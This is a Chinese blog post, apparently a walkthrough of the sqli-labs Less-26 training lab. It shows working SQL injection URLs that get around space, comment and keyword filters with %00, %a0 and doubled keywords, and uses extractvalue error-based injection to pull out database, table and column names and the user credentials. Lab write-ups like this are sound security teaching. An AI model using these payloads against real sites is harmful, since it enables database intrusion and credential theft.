sqli-labs-less-26 %a0绕过空格,报错注入

Less-26

该关卡提示空格和注释被转义,我们测试一下:
http://127.0.0.1/sqli-labs-master/Less-26/?id=1 正常显示,有回显
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ 报错
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ --+ 依旧报错,并且提示提示信息为:
在这里插入图片描述

我们添加的注释不见了,应该是注释被转义成了空字符,我们换成;%00测试一下:

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ ;%00 正常显示
在这里插入图片描述

除了用;%00绕过,我们还可以使用id=1’ or ‘1’=’1进行绕过,但是要注意该关卡的or和空格都进行了转义,空格可以使用编码%0A代替,但是在Windows phpstudy环境下,空白字符编码无效,所以我们无法使用空格。

由于无法使用空格,因此http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ (oorrder by 4);%00这种语句都无法使用,我们使用报错注入:

方法一:

获取当前数据库:

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ union (select(extractvalue(1,concat(0x7e,database()))));%00
在这里插入图片描述

获取所有数据库:

但是这里长度有限制,无法全部取出
http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(schema_name)) from (infoorrmation_schema.schemata) )))));%00
在这里插入图片描述

获取security库中的表:

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))))));%00
在这里插入图片描述

获取users库中字段:

注意and也需要双写:

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where ((table_schema=0x7365637572697479) aandnd (table_name=0x7573657273)))))));%00
在这里插入图片描述

获取username和password字段的信息:

注意password中or需要双写,由于长度限制,使用group_concat()函数无法取出全部数据,而且空格被转义,所有limit函数也无法使用,因此我们使用where(id=1)来定位数据,这样可以取出全部数据。

http://127.0.0.1/sqli-labs-master/Less-26/?id=1’ || (select (extractvalue(1,concat(0x7e,(select (concat(username,0x7e,passwoorrd)) from (security.users) where (id=1))))));%00
在这里插入图片描述

方法二:

在docker中,空格可以用转义符%a0代替。

获取字段数:

在这里插入图片描述

获取回显字段:

在这里插入图片描述

获取当前数据库:

在这里插入图片描述

获取表名,字段名、数据方法类似,用%a0代替空格即可。

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值